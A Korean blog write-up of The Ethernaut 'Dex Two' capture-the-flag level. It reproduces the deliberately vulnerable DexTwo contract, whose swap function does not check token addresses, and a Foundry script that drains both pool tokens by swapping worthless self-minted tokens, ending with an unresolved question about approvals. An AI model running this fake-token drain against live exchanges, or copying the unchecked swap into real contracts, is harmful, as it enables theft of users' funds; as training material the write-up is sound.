728x90
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";
contract DexTwo is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function add_liquidity(address token_address, uint256 amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint256 amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint256 amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint256) {
return IERC20(token).balanceOf(account);
}
}
contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
일단 전 문제랑 달라진 점은 swap에서 token 검사하는 점이 없다는 것이다.
그리고 해당 문제를 풀려면은 token1과 token2에서의 DexTwo컨트랙트 잔액을 0으로 만들면 된다.
먼저 poc코드부터 보겠다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/console.sol";
import "forge-std/Script.sol";
import "../src/dex2.sol";
import "../node_modules/@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../node_modules/@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract FakeToken is ERC20 {
constructor() public ERC20("FakeToken", "FAKE") {
_mint(msg.sender, 1000);
}
}
contract DexTwoSolve is Script {
DexTwo target = DexTwo(payable(0x108C8A1Dc44527bE7b70211236f89bCD4E2E4C07));
address public fake;
address public token1;
address public token2;
function setUp() external{
token1 = target.token1();
token2 = target.token2();
}
function run() external{
vm.startBroadcast(vm.envUint("user_private_key"));
FakeToken fakeToken1 = new FakeToken();
FakeToken fakeToken2 = new FakeToken();
fakeToken1.approve(address(target), 1000); // address(target)이 msg.sender의 돈을 가져갈 수 있도록 허용해놓음
fakeToken2.approve(address(target), 1000);
// uint256 allowance2 = fakeToken2.allowance(0x0454D4DAd937d831c98cCD8ef9c4035B34c7F22C, address(target));
// console.log(allowance2);
fakeToken1.transfer(address(target), 100);
fakeToken2.transfer(address(target), 100);
target.swap(address(fakeToken1),token1, 100);
target.swap(address(fakeToken2),token2, 100);
vm.stopBroadcast();
}
}
단순히 새로운 토큰을 만들어 해당 토큰으로 몰빵하면된다.
근데 문제는 내 환경문제일수도 있지만 foundry에서 새로운 토큰에 대해 approve를 하면은 swap함수에서
IERC20(from).transferFrom(msg.sender, address(this), amount);
해당 코드로 새로운 토큰 거래를 할 때 allowance가 안된다.
즉, approve를 풀어놓았는데 왠진 모르겠는데 approve가 안되는 것이다.
일단 approve에 대해 좀 알아보자면 ERC20에서 approve는 spender와 amount만을 인자로 받고 owner는 자연스럽게 msg.sender로 설정한다.
그리고 뜻은 spender가 owner의 돈을 최대 amount만큼 가져가도록 설정해 놓는 것이다.
근데 무슨이유인지 안된다...
foundry에서 vm설정하면 자연스럽게 DexTwoSolve는 다른 컨트랙트에서 msg.sender로 볼때 내 지갑주소일 것인데... (그렇다고 address(this)가 내 지갑주소인건 아님)
그래서 일단 야매로 transfer함수 사용해서 100만큼 addres(target)으로 옮기고 어짜피 swap에선 돈이 안보내질 것이니 저렇게 해놨다...
이유를 찾으면 재 포스트하겠다.
혹시 이유 아시는분 있으시면 댓글 부탁드립니다 ㅠㅠ
728x90
반응형
'Web3 > The Ethernaut' 카테고리의 다른 글
[The Ethernaut] Dex (0) | 2025.03.07 |
---|---|
[The Ethernaut] Shop (0) | 2025.02.03 |
[The Ethernaut] Denial (0) | 2025.02.03 |
[The Ethernaut] Alien Codex (0) | 2025.02.03 |
[The Ethernaut] Magic Number (0) | 2025.02.02 |